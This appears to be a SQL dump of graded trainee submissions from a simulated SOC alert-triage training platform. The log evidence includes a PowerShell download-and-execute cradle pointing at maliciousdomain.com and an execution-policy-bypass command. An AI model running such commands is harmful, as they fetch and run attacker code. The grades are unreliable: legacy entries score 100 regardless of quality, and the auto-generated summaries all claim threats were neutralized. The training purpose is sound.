(571, 225, 242, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"Parent process, explorer.exe, ran powershell.exe, which is suspicious. A command was injected stealthily using -NoP -NonI -W Hidden. A registry was modified and this indicates an attacker is trying to execute malicious code.\",\"artifacts\":\"192.168.1.10, 2B2B6D120897FBB5783C3F8DCF57DBBA, calc.exe, DESKTOP-7GTHB9K, jdoe,\",\"analysis_answers\":{\"action_taken\":\"Parent process, explorer.exe, ran powershell.exe, which is suspicious. A command was injected stealthily using -NoP -NonI -W Hidden. A registry was modified and this indicates an attacker is trying to execute malicious code.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-16T02:58:46.091Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 14:02:30', '2026-03-15 10:54:30', '2026-03-16 02:59:00', 0, NULL),
(572, 297, 944, 'graded', 70, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.2.12\",\"ip-203.0.113.55\",\"domain-http://phish\",\"domain-companyx.com\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 6:47:10 PM\\nALERT: QR Code Phishing Attack\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.55\\n- [IP] 192.168.2.12\\n- [DOMAIN] http://phishing-site.com/qrcode\\n- [DOMAIN] companyx.com\\n- [EMAIL] it-support@companyx.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T11:47:14.948Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/3)\",\"missed_items\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-15 14:50:54', '2026-03-15 11:41:54', '2026-03-15 11:47:14', 0, NULL),
(573, 297, 852, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-195.154.200.25\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 6:50:38 PM\\nALERT: BEC Attempt Detected with CEO Impersonation\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 195.154.200.25\\n- [EMAIL] ceo@reta1lcorp.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T11:50:43.846Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-15 14:53:34', '2026-03-15 11:48:34', '2026-03-15 11:50:43', 0, NULL),
(574, 232, 248, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"as from the scenario it may be possible that the cloud provider might be login from a different time zone or may be from different end point device, so the log was generated as low priority and there is not any brute force attack or impossible time travelling. \",\"artifacts\":\"{\\\"timestamp\\\":\\\"2023-10-05T11:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"SERVER-1\\\"}\",\"analysis_answers\":{\"action_taken\":\"as from the scenario it may be possible that the cloud provider might be login from a different time zone or may be from different end point device, so the log was generated as low priority and there is not any brute force attack or impossible time travelling. \",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T15:59:21.419Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 18:52:09', '2026-03-15 15:44:09', '2026-03-15 16:00:00', 0, NULL),
(575, 232, 244, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.15\",\"hash-3f5d2c7e\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 10:33:48 PM\\nALERT: Malware Detected on Endpoint via Suspicious Process Execution\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 10.0.0.15\\n- [HASH] 3f5d2c7e1d4b8f9a6a7f8b2d3a4c5d6e\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:03:51.364Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-15 19:07:29', '2026-03-15 16:00:29', '2026-03-15 17:03:51', 0, NULL),
(576, 232, 245, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"The src_ip and dest_ip differ matters\",\"artifacts\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"DESKTOP-1\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\",\"analysis_answers\":{\"action_taken\":\"The src_ip and dest_ip differ matters\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T18:04:30.631Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 20:18:52', '2026-03-15 17:12:52', '2026-03-15 18:05:00', 0, NULL),
(577, 303, 268, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:18:43 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:49:09.880Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:13:19', '2026-03-15 17:49:09', 0, NULL),
(578, 303, 237, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 20:31:45', '2026-03-15 17:21:45', '2026-03-15 17:21:45', 0, NULL),
(579, 304, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-15 17:29:01', '2026-03-15 17:29:01', 0, NULL),
(580, 303, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"collect_forensics\",\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:20:56 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:51:04.251Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:49:09', '2026-03-15 17:51:04', 0, NULL),
(581, 303, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:23:02 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:53:04.701Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:51:04', '2026-03-15 17:53:04', 0, NULL),
(582, 303, 271, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:24:50 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:54:52.168Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:53:04', '2026-03-15 17:54:52', 0, NULL),
(583, 303, 272, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:26:09 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:56:11.157Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:54:52', '2026-03-15 17:56:11', 0, NULL),
(584, 303, 274, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:27:41 PM\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:57:42.261Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:56:25', '2026-03-15 17:57:42', 0, NULL),
(585, 303, 275, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:28:56 PM\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:58:57.599Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:57:42', '2026-03-15 17:58:57', 0, NULL),
(586, 303, 276, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:29:56 PM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T17:59:57.689Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:58:57', '2026-03-15 17:59:57', 0, NULL),
(587, 303, 277, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 11:30:53 PM\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T18:00:54.979Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 17:59:57', '2026-03-15 18:00:54', 0, NULL),
(588, 303, 278, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-15 18:01:05', '2026-03-15 18:01:05', 0, NULL),
(589, 232, 246, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The sender IP is known for phising attacks \",\"artifacts\":\"Raw Log Evidence {\\\"timestamp\\\":\\\"2023-10-05T09:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"email_sender\\\":\\\"phisher@example.com\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\",\\\"username\\\":\\\"asmith\",\"analysis_answers\":{\"action_taken\":\"The sender IP is known for phising attacks \",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T18:12:05.270Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 21:13:11', '2026-03-15 18:05:11', '2026-03-15 18:14:00', 0, NULL),
(590, 232, 249, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"It shows that someone is trying to. Execute code via powershell and there is from attacker\",\"artifacts\":\"{\\\"log_type\\\":\\\"process_creation\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:09Z\\\",\\\"hostname\\\":\\\"Corporate-Laptop-04\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"powershell.exe\\\",\\\"cmdline\\\":\\\"powershell -nop -c \\\\\\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\\\\\\\"\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"parent_process_id\\\":4821,\\\"process_id\\\":9342,\\\"integrity_level\\\":\\\"High\\\",\\\"network_activity\\\":[{\\\"protocol\\\":\\\"HTTP\\\",\\\"dest_ip\\\":\\\"192.168.1.105\\\",\\\"dest_port\\\":80,\\\"url\\\":\\\"http://maliciousdomain.com/script.ps1\\\"}]}\",\"analysis_answers\":{\"action_taken\":\"It shows that someone is trying to. Execute code via powershell and there is from attacker\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T18:19:16.158Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 21:23:41', '2026-03-15 18:14:41', '2026-03-15 18:20:00', 0, NULL),
(591, 283, 304, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 22:21:10', '2026-03-15 19:11:10', '2026-03-15 19:11:10', 0, NULL),
(592, 283, 1532, 'graded', 94, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.2.15\",\"hash-a9f5b3c7\",\"domain-https://mali\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:17:24\\nALERT: Initial Access via Zero-Click iCloud Calendar Exploit [OP: Quadream REIGN Spyware Investigation Training]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.2.15\\n- [HASH] a9f5b3c7e812f3d6b7e695f6c29e1e4f\\n- [DOMAIN] https://malicious-calendar-invite.com/icalendar\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:17:28.671Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:07:37', '2026-03-15 20:17:28', 0, NULL),
(593, 283, 1533, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:25:45\\nALERT: Execution of REIGN Spyware on iOS [OP: Quadream REIGN Spyware Investigation Training]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] 8f14e45fceea167a5a36dedd4bea2543\\n- [FILENAME] reign_install.pkg\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:25:56.678Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:17:28', '2026-03-15 20:25:56', 0, NULL),
